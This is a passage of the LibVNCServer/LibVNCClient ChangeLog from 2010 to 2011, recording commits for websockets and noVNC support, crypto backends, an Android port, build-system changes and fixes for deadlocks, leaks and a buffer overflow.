examples/pnmshow24.c, + rfb/rfb.h, webclients/Makefile.am, webclients/index.vnc, + webclients/javaviewer.pseudo_proxy.patch, + webclients/novnc/LICENSE.txt, webclients/novnc/README.md, + webclients/novnc/favicon.ico, webclients/novnc/include/base.css, + webclients/novnc/include/base64.js, + webclients/novnc/include/black.css, + webclients/novnc/include/blue.css, webclients/novnc/include/des.js, + webclients/novnc/include/display.js, + webclients/novnc/include/input.js, + webclients/novnc/include/logo.js, + webclients/novnc/include/playback.js, + webclients/novnc/include/rfb.js, webclients/novnc/include/ui.js, + webclients/novnc/include/util.js, webclients/novnc/include/vnc.js, + webclients/novnc/include/web-socket-js/README.txt, + webclients/novnc/include/web-socket-js/swfobject.js, + webclients/novnc/include/web-socket-js/web_socket.js, + webclients/novnc/include/websock.js, + webclients/novnc/include/webutil.js, webclients/novnc/vnc.html, + webclients/novnc/vnc_auto.html, webclients/ssl/Makefile.am, + webclients/ssl/README, webclients/ssl/index.vnc, + webclients/ssl/onetimekey, webclients/ssl/proxy.vnc, + webclients/ssl/ss_vncviewer, + webclients/ssl/tightvnc-1.3dev7_javasrc-vncviewer-cursor-colors+no- + tab-traversal.patch, + webclients/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, + webclients/ssl/ultra.vnc, webclients/ssl/ultraproxy.vnc, + webclients/ssl/ultrasigned.vnc, + webclients/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: Rename + 'classes' dir to 'webclients'. + +2011-11-09 Christian Beier + + * classes/index.vnc, libvncserver/httpd.c: novnc client: use the + client's notion about the server hostname instead of what the server + thinks. + +2011-11-09 Christian Beier + + * classes/index.vnc: Fix tiny typo. + +2011-11-09 Christian Beier + + * NEWS: Add 0.9.8.2 NEWS entry. + +2011-11-09 Christian Beier + + * libvncclient/rfbproto.c: When GetCredential() callback is not set, + don't use authentications requiring it. The auth methods that employ Getcredential() will only be used if + the client's GetCredential callback is actually set. + +2011-10-12 Christian Beier + + * ChangeLog: Update ChangeLog for 0.9.8.1. + +2011-10-12 Christian Beier + + * CMakeLists.txt, NEWS, configure.ac: Update version number in + autotools && cmake, NEWS entry. + +2011-10-26 Peter Watkins + + * rfb/rfbclient.h: Added comments. + +2011-10-26 Christian Beier + + * libvncserver/rfbserver.c: Fix deadlock in threaded mode when using + nested rfbClientIteratorNext() calls. Lengthy explanation follows... First, the scenario before this patch: We have three clients 1,2,3 connected. The main thread loops through + them using rfbClientIteratorNext() (loop L1) and is currently at + client 2 i.e. client 2's cl_2->refCount is 1. At this point we need + to loop again through the clients, with cl_2->refCount == 1, i.e. do + a loop L2 nested within loop L1. BUT: Now client 2 disconnects, it's clientInput thread terminates + its clientOutput thread and calls rfbClientConnectionGone(). This + LOCKs clientListMutex and WAITs for cl_2->refCount to become 0. This + means this thread waits for the main thread to release cl_2. + Waiting, with clientListMutex LOCKed! Meanwhile, the main thread is about to begin the inner + rfbClientIteratorNext() loop L2. The first call to + rfbClientIteratorNext() LOCKs clientListMutex. BAAM. This mutex is + locked by cl2's clientInput thread and is only released when + cl_2->refCount becomes 0. The main thread would decrement + cl_2->refCount when it would continue with loop L1. But it's waiting + for cl2's clientInput thread to release clientListMutex. Which never + happens since this one's waiting for the main thread to decrement + cl_2->refCount. DEADLOCK. Now, situation with this patch: Same as above, but when client 2 disconnects it's clientInput thread + rfbClientConnectionGone(). This again LOCKs clientListMutex, removes + cl_2 from the linked list and UNLOCKS clientListMutex. The WAIT for + cl_2->refCount to become 0 is _after_ that. Waiting, with + clientListMutex UNLOCKed! Therefore, the main thread can continue, do the inner loop L2 (now + only looping through 1,3 - 2 was removed from the linked list) and + continue with loop L1, finally decrementing cl_2->refCount, allowing + cl2's clientInput thread to continue and terminate. The resources + held by cl2 are not free()'d by rfbClientConnectionGone until + cl2->refCount becomes 0, i.e. loop L1 has released cl2. + +2011-10-16 Johannes Schindelin + + * AUTHORS: Update AUTHORS Signed-off-by: Johannes Schindelin + +2011-10-16 George Fleury + + * libvncserver/rfbserver.c: Fix memory leak I was debbuging some code tonight and i found a pointer that is not + been freed, so i think there is maybe a memory leak, so it is... there is the malloc caller reverse order: ( malloc cl->statEncList ) <- rfbStatLookupEncoding <- rfbStatRecordEncodingSent <- rfbSendCursorPos <- rfbSendFramebufferUpdate <- rfbProcessEvents I didnt look the whole libvncserver api, but i am using + rfbReverseConnection with rfbProcessEvents, and then when the client + connection dies, i am calling a rfbShutdownServer and + rfbScreenCleanup, but the malloc at rfbStatLookupEncoding isnt been + freed. So to free the stats i added a rfbResetStats(cl) after + rfbPrintStats(cl) at rfbClientConnectionGone in rfbserver.c before + free the cl pointer. (at rfbserver.c line 555). And this, obviously, + is correcting the memory leak. Signed-off-by: Johannes Schindelin + +2011-10-08 Johannes Schindelin + + * rfb/rfbclient.h: Hopefully fix the crash when updating from 0.9.7 + or earlier For backwards-compatibility reasons, we can only add struct members + to the end. That way, existing callers still can use newer + libraries, as the structs are always allocated by the library (and + therefore guaranteed to have the correct size) and still rely on the + same position of the parts the callers know about. Reported by Luca Falavigna. Signed-off-by: Johannes Schindelin + +2011-10-09 Johannes Schindelin + + * client_examples/SDLvncviewer.c: SDLvncviewer: make it resizable by + default I got annoyed having to specify -resizable all the time; I never use + it in another mode anymore, since I am on a netbook. The option -no-resizable was added to be able to switch off that + feature. Signed-off-by: Johannes Schindelin + +2011-10-06 Christian Beier + + * libvncserver/httpd.c: httpd: fix sending of binary data such as + images. We do this simply by omitting the content-type and let the browser + decide upon the mime-type of the sent file. Only exception is + 'index.vnc', where we do set the content-type since some browsers + fail to detect it's html when it's ending in '.vnc' Also, remove superfluous #defines. We close the connection always. + +2011-10-06 Christian Beier + + * classes/index.vnc: Fix typo && use proper website. + +2011-10-04 Christian Beier + + * classes/index.vnc, classes/novnc/LICENSE.txt, + classes/novnc/README.md, classes/novnc/favicon.ico, + classes/novnc/include/base.css, classes/novnc/include/base64.js, + classes/novnc/include/black.css, classes/novnc/include/blue.css, + classes/novnc/include/des.js, classes/novnc/include/display.js, + classes/novnc/include/input.js, classes/novnc/include/logo.js, + classes/novnc/include/playback.js, classes/novnc/include/rfb.js, + classes/novnc/include/ui.js, classes/novnc/include/util.js, + classes/novnc/include/vnc.js, + classes/novnc/include/web-socket-js/README.txt, + classes/novnc/include/web-socket-js/swfobject.js, + classes/novnc/include/web-socket-js/web_socket.js, + classes/novnc/include/websock.js, classes/novnc/include/webutil.js, + classes/novnc/vnc.html, classes/novnc/vnc_auto.html, + libvncserver/httpd.c: Add noVNC HTML5 client connect possibility to + our http server. Pure JavaScript, no Java plugin required anymore! (But a recent + browser...) + +2011-10-04 Christian Beier + + * configure.ac: This build warning is a libvncserver one, not for + x11vnc. Also, make it warn more generally when no known encryption lib is + available. + +2011-09-21 Gernot Tenchio + + * common/md5.c: md5: forced to use function names with leading + underscores Commented out the surrounding '#ifdef _LIBC' to build md5.o with + leading underscores. This is required to match the prototypes + defined in md5.h. + +2011-09-20 Gernot Tenchio + + * libvncserver/rfbcrypto_included.c: rfbcrypto_included: fix c&p + errors + +2011-09-20 Gernot Tenchio + + * libvncserver/rfbcrypto_polarssl.c: rfbcrypto_polarssl: it was way + to late last night... + +2011-09-18 Gernot Tenchio + + * libvncserver/Makefile.am, libvncserver/rfbcrypto.h, + libvncserver/rfbcrypto_gnutls.c, libvncserver/rfbcrypto_included.c, + libvncserver/rfbcrypto_openssl.c, + libvncserver/rfbcrypto_polarssl.c, libvncserver/websockets.c: Add + support for different crypto implementations + +2011-09-11 Christian Beier + + * configure.ac, libvncserver/Makefile.am: Autotools: Fix OpenSSL and + GnuTLS advertisement. + +2011-09-11 Christian Beier + + * libvncserver/rfbssl_gnutls.c: Fix libvncserver GnuTLS init. gnutls_certificate_set_x509_trust_file() returns the number of + processed certs and _not_ GNUTLS_E_SUCCESS (0) on success! + +2011-09-11 Christian Beier + + * AUTHORS, libvncserver/websockets.c: Update AUTHORS regarding the + websocket guys. + +2011-08-28 Gernot Tenchio + + * configure.ac: configure: Add AM_SILENT_RULES Working with “silent make mode” makes debugging a lot of easier + since warnings wont shadowed by useless compiler noise + +2011-08-27 Gernot Tenchio + + * CMakeLists.txt: cmake: set SOVERSION + +2011-09-11 Christian Beier + + * configure.ac, libvncserver/Makefile.am: Autotools: Fix OpenSSL and + GnuTLS advertisement. + +2011-09-11 Christian Beier + + * libvncserver/rfbssl_gnutls.c: Fix libvncserver GnuTLS init. gnutls_certificate_set_x509_trust_file() returns the number of + processed certs and _not_ GNUTLS_E_SUCCESS (0) on success! + +2011-09-11 Christian Beier + + * AUTHORS, libvncserver/websockets.c: Update AUTHORS regarding the + websocket guys. + +2011-09-02 Gernot Tenchio + + * libvncserver/websockets.c: websocket: Use a single buffer for + both, encoding and decoding + +2011-08-30 Gernot Tenchio + + * libvncserver/rfbssl_gnutls.c: rfbssl_gnutls: Merge + rfbssl_peek/rfbssl_read into one function + +2011-08-30 Gernot Tenchio + + * libvncserver/websockets.c: websockets: fix + webSocketCheckDisconnect() Do not consume the peeked data if no close frame was detected. + +2011-08-29 Gernot Tenchio + + * libvncserver/websockets.c: websockets: use 32bit Xor in + webSocketsDecodeHybi() + +2011-08-29 Gernot Tenchio + + * CMakeLists.txt: cmake: use sha1.c for websocket builds + +2011-08-25 Gernot Tenchio + + * libvncserver/websockets.c: websockets: nothing to worry about + +2011-08-25 Gernot Tenchio + + * libvncserver/websockets.c: websockets: added gcrypt based sha1 + digest funtion + +2011-08-25 Joel Martin + + * common/sha1.c, common/sha1.h, libvncserver/Makefile.am, + libvncserver/websockets.c: Add sha1.*. Remove UTF-8 encode. Protocol + handling. Add common/sha1.h and common/sha1.c so that we have the SHA routines + even if openssl is not available. From the IETF SHA RFC example + code. Remove the UTF-8 encoding hack. This was really just an experiment. If the protocol passed in the handshake has "binary" then don't + base64 encode for the HyBi protocol. This will allow noVNC to + request the binary data be passed raw and not base64 encoded. + Unfortunately, the client doesn't speak first in VNC protocol (bad + original design). If it did then we could determine whether to + base64 encode or not based on the first HyBi frame from the client + and whether the binary bit is set or not. Oh well. Misc Cleanup: - Always free response and buf in handshake routine. - Remove some unused variables. + +2011-08-25 Gernot Tenchio + + * CMakeLists.txt: cmake: make some noise + +2011-08-25 Gernot Tenchio + + * libvncserver/rfbssl_gnutls.c: websockets: remove warning on 64bit + platforms + +2011-08-25 Gernot Tenchio + + * libvncserver/websockets.c: websockets: Removed debugging left over + +2011-08-25 Gernot Tenchio + + * libvncserver/websockets.c: websockets: Use callback functions for + encode/decode + +2011-08-25 Gernot Tenchio + + * libvncserver/rfbserver.c, libvncserver/sockets.c, + libvncserver/websockets.c, rfb/rfb.h: websockets: Move Hixie + disconnect hack to websockets.c Move the hixie disconnect hack to websockets.c. Removed the + remaining websockets vars from rfbClientPtr, so all websockets stuff + is hidden behind an opaque pointer. + +2011-08-25 Gernot Tenchio + + * libvncserver/rfbserver.c, libvncserver/sockets.c, + libvncserver/websockets.c, rfb/rfb.h: websockets: Initial HyBi + support + +2011-08-16 Gernot Tenchio + + * CMakeLists.txt: cmake: don't link sdl libs to vnc libraries Signed-off-by: Johannes Schindelin + +2011-08-16 Gernot Tenchio + + * libvncserver/sockets.c, libvncserver/websockets.c, rfb/rfb.h: + websockets: Add wspath member to rfbClientRec Added wspath member to rfbClientRec which holds the path component + of the initial websocket request. Signed-off-by: Johannes Schindelin + +2011-08-16 Gernot Tenchio + + * CMakeLists.txt, common/md5.c, common/md5.h, + libvncserver/Makefile.am, libvncserver/md5.c, libvncserver/md5.h: + Move libvncserver/md5* to common Signed-off-by: Johannes Schindelin + +2011-08-16 Gernot Tenchio + + * CMakeLists.txt, rfb/rfbconfig.h.cmake: websockets: Add Websockets + support to CMakeLists.txt Signed-off-by: Johannes Schindelin + +2011-08-16 Joel Martin + + * libvncserver/Makefile.am, libvncserver/cargs.c: websockets: Add + SSL cert command line options. - Add --sslcertfile and --sslkeyfile. These should really be + combined with the existing x11vnc command line options for SSL + support. Signed-off-by: Johannes Schindelin + +2011-08-17 Gernot Tenchio + + * configure.ac, libvncserver/Makefile.am, + libvncserver/rfbssl_gnutls.c, libvncserver/rfbssl_openssl.c: + websockets: add GnuTLS and OpenSSL support For now, only OpenSSL support is activated through configure, since + GnuTLS is only used in LibVNCClient. [jes: separated this out from the commit adding encryption support, + added autoconf support.] Signed-off-by: Johannes Schindelin + +2011-08-16 Gernot Tenchio + + * libvncserver/Makefile.am, libvncserver/rfbserver.c, + libvncserver/rfbssl.h, libvncserver/rfbssl_none.c, + libvncserver/sockets.c, libvncserver/websockets.c, rfb/rfb.h: + websockets: Add encryption support [jes: moved out GnuTLS and OpenSSL support, added a dummy support, + to separate changes better, and to keep things compiling] Signed-off-by: Johannes Schindelin + +2011-08-16 Joel Martin + + * libvncserver/websockets.c: websockets: Properly parse Hixie-76 + handshake. Signed-off-by: Johannes Schindelin + +2011-08-16 Joel Martin + + * libvncserver/rfbserver.c, libvncserver/websockets.c: websockets: + Add UTF-8 encoding support. This is not completely standard UTF-8 encoding. Only code points + 0-255 are encoded and never encoded to more than two octets. Since + '\x00' is a WebSockets framing character, it's easier for all + parties to encode zero as '\xc4\x80', i.e. 194+128, i.e. UTF-8 256. This means that a random stream will be slightly more than 50% + larger using this encoding scheme. But it's easy CPU-wise for client + and server to decode/encode. This is especially important for + clients written in languages that have weak bitops, like Javascript + (i.e. the noVNC client). Signed-off-by: Johannes Schindelin + +2011-08-16 Joel Martin + + * libvncserver/rfbserver.c: websockets: Better disconnect detection. If the only thing we are waiting on is a WebSockets terminator, then + remove it from the stream early on in rfbProcessClientNormalMessage. Signed-off-by: Johannes Schindelin + +2011-08-16 Joel Martin + + * configure.ac, libvncserver/Makefile.am, libvncserver/md5.c, + libvncserver/md5.h, libvncserver/rfbserver.c, + libvncserver/sockets.c, libvncserver/websockets.c, rfb/rfb.h: + websockets: Initial WebSockets support. Has a bug: WebSocket client disconnects are not detected. + rfbSendFramebufferUpdate is doing a MSG_PEEK recv to determine if + enough data is available which prevents a disconnect from being + detected. Otherwise it's working pretty well. [jes: moved added struct members to the end for binary compatibility + with previous LibVNCServer versions, removed an unused variable] Signed-off-by: Johannes Schindelin + +2011-08-17 Johannes Schindelin + + * .gitignore: .gitignore: zippy has moved Signed-off-by: Johannes Schindelin + +2011-07-25 Christian Beier + + * examples/android/README: Add installation hints to android example + README. + +2011-07-22 William Roberts + + * examples/android/jni/fbvncserver.c: Reduced memory footprint by + 50% + +2011-07-22 William Roberts + + * examples/android/jni/fbvncserver.c: Corrected resolution issue, + but screen is getting reported as wrong size + +2011-07-23 ckanru + + * examples/android/jni/fbvncserver.c: Fixes running vncserver on + beagleboard/0xdroid and possibly any device without a touch screen. + Because fake touch screen always report zero when query device + information, coordinates transformation is not needed. Signed-off-by: Christian Beier + +2011-07-23 Christian Beier + + * configure.ac, examples/Makefile.am, examples/android/Makefile.am, + rfb/rfb.h, vncterm/Makefile.am: Adopt autotools build system to + Android. LibVNCServer/LibVNCClient now build for Android! + +2011-07-23 Christian Beier + + * examples/android/README, examples/android/jni/Android.mk, + examples/android/jni/fbvncserver.c: Add androidvncserver example. + +2011-07-22 letsgoustc + + * rfb/rfb.h: Make LibVNCServer build for Android. Signed-off-by: Christian Beier + +2011-07-19 Joel Martin + + * libvncserver/tight.c: tightPng: check even for SendGradientRect. Signed-off-by: Christian Beier + +2011-07-19 Joel Martin + + * CMakeLists.txt, configure.ac, libvncserver/Makefile.am, + libvncserver/rfbserver.c, libvncserver/stats.c, + libvncserver/tight.c, rfb/rfb.h, rfb/rfbconfig.h.cmake, + rfb/rfbproto.h: tightPng: Add initial tightPng encoding support. http://wiki.qemu.org/VNC_Tight_PNG Signed-off-by: Joel Martin Signed-off-by: + Christian Beier + +2011-06-01 Christian Beier + + * libvncserver/main.c, libvncserver/sockets.c: Remove some unused + variables. + +2010-11-14 George Kiagiadakis + + * libvncserver/sockets.c, rfb/rfb.h: Fix rfbProcessNewConnection to + return some value instead of void. BUG: 256891 Signed-off-by: Christian Beier + +2010-11-10 George Kiagiadakis + + * libvncserver/main.c, libvncserver/sockets.c, rfb/rfb.h: Split two + event-loop related functions out of the rfbProcessEvents() + mechanism. This is required to be able to do proper event loop integration with + Qt. Idea was taken from vino's libvncserver fork. Signed-off-by: Christian Beier + +2011-05-06 Cristian Rodríguez + + * libvncserver/tightvnc-filetransfer/filetransfermsg.c: Fix buffer + overflow Signed-off-by: Cristian Rodríguez + Signed-off-by: Christian Beier + +2011-04-30 Christian Beier + + * libvncserver/tight.c: Revert "Fix memory corruption bug." This reverts commit c1363fa9583ed41b94fbc79b3ff410b7d5189407. The proper fix was already in + 804335f9d296440bb708ca844f5d89b58b50b0c6. + +2011-04-28 Johannes Schindelin + + * AUTHORS: UTF-8ify AUTHORS Signed-off-by: Johannes Schindelin + +2011-04-28 Johannes Schindelin + + * AUTHORS: Update AUTHORS Signed-off-by: Johannes Schindelin + +2010-11-10 George Kiagiadakis + + * libvncserver/tight.c: Fix memory corruption bug. This bug occured when a second telepathy tubes client was connected + after the first one had disconnected and the channel (thus, the + screen too) had been destroyed. Signed-off-by: Johannes Schindelin + +2010-11-10 George Kiagiadakis + + * common/zywrletemplate.c, libvncserver/auth.c, + libvncserver/rfbserver.c, libvncserver/scale.c, + libvncserver/scale.h, rfb/rfb.h: Fix compilation in c89 mode. Signed-off-by: Johannes Schindelin + +2011-04-27 Vic Lee + + * libvncclient/tls.c: Replace deprecated GnuTLS functions + gnutls_*_set_priority with gnutls_priority_set_direct. The functions gnutls_*_set_priority we used were marked deprecated + since latest GnuTLS version 2.12. However the replacement function + gnutls_priority_set_direct is available since 2.2, which is even + lower than our version requirement 2.4 in configure. The patch just + replace the deprecate function to fix the compile warning. Signed-off-by: Vic Lee Signed-off-by: Johannes + Schindelin + +2011-03-30 Christian Beier + + * ChangeLog: Update ChangeLog for 0.9.8. + +2011-03-29 Christian Beier + + * README: Remove RDP from the README description. We do VNC but no RDP. Pointed out by Vic Lee, thanks! + +2011-03-29 Christian Beier + + * utils/git2cl.pl: Fix skipping of merge commits in log convert + script. + +2011-03-29 Christian Beier + + * bdf2c.pl, consolefont2c.pl, utils/bdf2c.pl, + utils/consolefont2c.pl, utils/git2cl.pl: Add a git-log to GNU-Style + ChangeLog converter script. Also put all helper scripts into a utils directory. + +2011-03-28 Christian Beier + + * NEWS: Mention the pkg-config stuff in NEWS. + +2011-03-27 Vic Lee + + * .gitignore, Makefile.am, configure.ac, libvncclient.pc.in, + libvncserver.pc.in: Add libvncserver.pc and libvncclient.pc files. Signed-off-by: Vic Lee Signed-off-by: Christian + Beier + +2011-03-17 Christian Beier + + * libvncclient/ultra.c, libvncserver/ultra.c: Fix regression in + Ultra encoding introduced by commit + fe1ca16e9b75b5f38ab374c8dfff92d2c3ea4532. My bad. There we see what the encodings test is good for ;-) + +2011-03-17 Christian Beier + + * test/encodingstest.c: Update encodingstest. * Fixed segfault on shutdown. * Updated to test all encodings. * Fixed to operate with encodings that split up rects into smaller rects. + +2011-03-17 Christian Beier + + * libvncclient/rfbproto.c: Remove useless comparisons that always + evaluate to false. There can not be more than 255 security types and MSLogon is RFB 3.6 + only. + +2011-03-17 Christian Beier + + * examples/rotate.c, examples/rotatetemplate.c, examples/vncev.c, + libvncclient/listen.c, libvncclient/rfbproto.c, + libvncclient/ultra.c, libvncclient/zrle.c, + libvncserver/rfbserver.c, libvncserver/ultra.c: Fix (most) MinGW32 + compiler warnings. + +2011-03-17 Christian Beier + + * examples/rotate.c, examples/zippy.c, libvncserver/zrle.c, + libvncserver/zrleencodetemplate.c: Fix remaining compiler warnings. + +2011-03-17 Christian Beier + + * VisualNaCro/nacro.c, examples/backchannel.c, examples/camera.c, + examples/colourmaptest.c, examples/example.c, + examples/filetransfer.c, examples/fontsel.c, examples/mac.c, + examples/pnmshow.c, examples/pnmshow24.c, examples/simple.c, + examples/simple15.c, examples/vncev.c, examples/zippy.c, + test/cargstest.c, test/copyrecttest.c, test/cursortest.c, + test/encodingstest.c: Check rfbGetScreen() return value everywhere. This fixes a segfault when a server is invoked with the '-help' + commandline argument. + +2011-03-12 Christian Beier + + * CMakeLists.txt, rfb/rfbconfig.h.cmake: CMake: Check for libgcrypt + availability. + +2011-03-12 Christian Beier + + * CMakeLists.txt: CMake: Threads can be available even if SDL is + not. + +2011-03-12 Christian Beier + + * CMakeLists.txt: CMake: fix building SDLvncviewer. + +2011-03-12 Christian Beier + + * Makefile.am: Include cmake configure file templates in dist + tarball. Signed-off-by: Christian Beier + +2011-03-12 Christian Beier + + * rfb/rfbconfig.h.in, rfb/stamp-h.in: Remove autogenerated files. + +2011-03-12 Christian Beier + + * NEWS: Update NEWS for 0.9.8 release. + +2011-03-07 Christian Beier + + * libvncclient/tls.c: Fix libvncclient TLS for Windows builds. GnuTLS seems to expect proper errno values internally. So set them + in our custom push/pull functions. Parts of the patch stolen from + libcurl, thanks! Signed-off-by: Christian Beier + +2011-03-07 Christian Beier + + * libvncclient/rfbproto.c: Let libvncclient build with gcrypt for + MinGW32 builds. Signed-off-by: Christian Beier + +2011-03-07 Vic Lee + + * libvncclient/sockets.c: Use WaitForMessage instead of sleep in + socket reading to fix performance issue. Signed-off-by: Christian Beier + +2011-03-10 Christian Beier + + * common/d3des.c, common/d3des.h, libvncserver/auth.c, + libvncserver/corre.c, libvncserver/cutpaste.c, libvncserver/draw.c, + libvncserver/font.c, libvncserver/hextile.c, libvncserver/httpd.c, + libvncserver/rfbregion.c, libvncserver/rre.c, + libvncserver/selbox.c, libvncserver/sockets.c, + libvncserver/stats.c, libvncserver/tableinit24.c, + libvncserver/tableinitcmtemplate.c, + libvncserver/tableinittctemplate.c, + libvncserver/tabletrans24template.c, + libvncserver/tabletranstemplate.c, libvncserver/translate.c, + libvncserver/zrletypes.h, rfb/rfbregion.h, test/blooptest.c, + test/cursortest.c: Set proper file permissions for source files. + +2011-03-10 Christian Beier + + * CMakeLists.txt, configure.ac: Next version will be 0.9.8. + +2011-03-10 Christian Beier + + * Makefile.am, configure.ac, contrib/Makefile.am, contrib/zippy.c, + examples/Makefile.am, examples/zippy.c: Move zippy.c to examples. + +2011-03-03 Christian Beier + + * libvncclient/sockets.c, libvncclient/tls.c, libvncserver/httpd.c, + libvncserver/rfbserver.c, libvncserver/sockets.c: Call + WSAGetLastError() everywhere errno is read after a Winsock call. Winsock does NOT update errno for us, we have fetch the last error + manually using WSAGetLastError(). + +2011-01-29 Christian Beier + + * common/lzoconf.h, common/lzodefs.h, common/minilzo.c, + common/minilzo.h, libvncclient/Makefile.am, + libvncserver/Makefile.am: Update minilzo library used for Ultra + encoding to ver 2.04. According to the minilzo README, this brings a significant speedup + on 64-bit architechtures. Changes compared to old version 1.08 can be found here: + http://www.oberhumer.com/opensource/lzo/lzonews.php Signed-off-by: Christian Beier + +2011-01-24 Christian Beier + + * libvncserver/corre.c, libvncserver/main.c, + libvncserver/private.h, libvncserver/rfbserver.c, + libvncserver/rre.c, libvncserver/ultra.c, rfb/rfb.h: libvncserver: + Make RRE, CoRRE and Ultra encodings thread-safe. This adds generic before/after encoding buffers to the rfbClient + struct, so there is no need for thread local storage. Signed-off-by: Christian Beier + +2011-02-02 Christian Beier + + * Makefile.am: Include CMakeLists.txt file in dist tarball. + +2011-01-29 Christian Beier + + * .cvsignore, README.cvs, VisualNaCro/.cvsignore, + classes/.cvsignore, client_examples/.cvsignore, contrib/.cvsignore, + cvs_update_anonymously, examples/.cvsignore, + libvncclient/.cvsignore, libvncserver/.cvsignore, + libvncserver/tightvnc-filetransfer/.cvsignore, rfb/.cvsignore, + test/.cvsignore, vncterm/.cvsignore: Remove unneeded files + concerning CVS. We have a git repo nowadays and I guess we won't go back to CVS. Signed-off-by: Christian Beier + +2011-01-31 Johannes Schindelin + + * examples/example.dsp, libvncserver.dsp, libvncserver.dsw: Remove + completely broken Visual Studio project files If people seriously consider building with Visual Studio, there is + always CMake. Pointed out by Christian Beier. Signed-off-by: Johannes Schindelin + +2011-01-31 Christian Beier + + * client_examples/Makefile.am, client_examples/SDLvncviewer.c: + SDLvncviewer: fix compilation from dist tarball. Signed-off-by: Christian Beier + Signed-off-by: Johannes Schindelin + +2011-01-21 Vic Lee + + * acinclude.m4, configure.ac, libvncclient/rfbproto.c, + rfb/rfbproto.h: Add ARD (Apple Remote Desktop) security type support Signed-off-by: Vic Lee Signed-off-by: Christian + Beier + +2011-01-25 Christian Beier + + * CMakeLists.txt, common/d3des.c, common/d3des.h, common/lzoconf.h, + common/minilzo.c, common/minilzo.h, common/vncauth.c, + common/zywrletemplate.c, libvncclient/Makefile.am, + libvncclient/lzoconf.h, libvncclient/minilzo.c, + libvncclient/minilzo.h, libvncclient/rfbproto.c, + libvncclient/zrle.c, libvncserver/Makefile.am, + libvncserver/d3des.c, libvncserver/d3des.h, libvncserver/lzoconf.h, + libvncserver/minilzo.c, libvncserver/minilzo.h, + libvncserver/vncauth.c, libvncserver/zywrletemplate.c: Put files + used by both libs into a 'common' dir. No functional changes. All files used by _both_ libvncserver and + libvncclient are put into a 'common' directory and references from + other files as well as Autotools and CMake build systems are + updated. Signed-off-by: Christian Beier + +2011-01-20 ebola_rulez + + * libvncserver/vncauth.c: Fix two errors found by cppcheck Signed-off-by: Vic Lee Signed-off-by: Christian + Beier + +2011-01-01 runge + + * libvncserver/rfbserver.c: Remove never used protocol version name + string. + +2010-12-29 runge + + * configure.ac, x11vnc/ChangeLog, x11vnc/Makefile.am, + x11vnc/README, x11vnc/avahi.c, x11vnc/cleanup.c, + x11vnc/connections.c, x11vnc/connections.h, x11vnc/help.c, + x11vnc/inet.c, x11vnc/inet.h, x11vnc/macosx.c, x11vnc/macosxCG.c, + x11vnc/macosxCG.h, x11vnc/macosx_opengl.c, x11vnc/macosx_opengl.h, + x11vnc/options.c, x11vnc/options.h, x11vnc/rates.c, + x11vnc/screen.c, x11vnc/ssltools.h, x11vnc/util.c, x11vnc/x11vnc.1, + x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, + x11vnc/xwrappers.c: x11vnc: Use opengl to read screen on macosx. + non-deprecated macosx interfaces for input injection. + +2010-12-21 runge + + * configure.ac, prepare_x11vnc_dist.sh, x11vnc/README, + x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: x11vnc: force + --with-system-libvncserver to use correct headers. + +2010-12-21 runge + + * classes/ssl/ss_vncviewer, + classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-cursor-colors+no-tab + -traversal.patch, + classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, + classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, + prepare_x11vnc_dist.sh, x11vnc/8to24.c, x11vnc/ChangeLog, + x11vnc/Makefile.am, x11vnc/README, x11vnc/RELEASE-NOTES, + x11vnc/appshare.c, x11vnc/cleanup.c, x11vnc/gui.c, x11vnc/help.c, + x11vnc/keyboard.c, x11vnc/keyboard.h, x11vnc/linuxfb.c, + x11vnc/macosx.c, x11vnc/macosxCG.c, x11vnc/misc/Makefile.am, + x11vnc/misc/README, x11vnc/misc/qt_tslib_inject.pl, + x11vnc/misc/uinput.pl, x11vnc/pointer.c, x11vnc/remote.c, + x11vnc/scan.c, x11vnc/screen.c, x11vnc/sslhelper.c, + x11vnc/ssltools.h, x11vnc/uinput.c, x11vnc/uinput.h, + x11vnc/unixpw.c, x11vnc/user.c, x11vnc/util.h, x11vnc/v4l.c, + x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, + x11vnc/x11vnc_defs.c, x11vnc/xevents.c, x11vnc/xevents.h, + x11vnc/xrecord.c, x11vnc/xrecord.h, x11vnc/xwrappers.c: x11vnc: + touchscreen uinput support and Java viewer mousewheel support. See + x11vnc/ChangeLog for rest. + +2010-12-01 Tobias Doerffel + + * libvncserver/sockets.c: libvncserver sockets: check cl->screen + before accessing it In commit 079394ca5b14d8067b95a9cf95a834828b4425a6 new code with + insufficient checks was introduced causing a segfault when doing a + HTTP server connection. Such connections have no screen set in the + client data structure. Signed-off-by: Tobias Doerffel + +2010-11-30 Christian Beier + + * Doxyfile: Doxygen documentation: actually add Doxyfile. + +2010-11-29 Johannes Schindelin + + * index.html, success.html: The website is now maintained + independently Signed-off-by: Johannes Schindelin + +2010-11-18 Christian Beier + + * client_examples/SDLvncviewer.c, client_examples/backchannel.c, + client_examples/ppmtest.c, client_examples/vnc2mpg.c, + examples/backchannel.c, examples/camera.c, examples/example.c, + examples/filetransfer.c, examples/pnmshow.c, examples/pnmshow24.c, + examples/vncev.c, rfb/rfb.h, rfb/rfbclient.h, rfb/rfbproto.h: Add + doxygen documentation support. Adds automagically generating libvncserver/libvncclient API documentation using doxygen. This gives a nice overview on both + APIs, include dependencies and function call/caller + dependencies. TODO: Modify all the explaining comments in the .c files for use + with doxygen as well. This patch only changes comments, no functional changes at all! Signed-off-by: Christian Beier + +2010-11-18 Christian Beier + + * libvncserver/main.c: libvncserver: fix endless loop when server + closed client in threaded mode. Signed-off-by: Christian Beier + +2010-11-18 Christian Beier + + * libvncserver/sockets.c: libvncserver sockets: favor per-screen + maxclientwait over global one when set. Signed-off-by: Christian Beier + +2010-11-11 Christian Beier + + * libvncserver/rfbserver.c, libvncserver/stats.c, rfb/rfbproto.h: + libvncserver cleanup: remove rfbKeyFrame remnants. + +2010-11-02 Christian Beier + + * libvncclient/rfbproto.c, libvncserver/main.c, + libvncserver/rfbserver.c, libvncserver/stats.c, rfb/rfb.h, + rfb/rfbclient.h, rfb/rfbproto.h: libvnc[server|client]: implement + xvp VNC extension. This implements the xvp VNC extension, which is described in the + community version of the RFB protocol: + 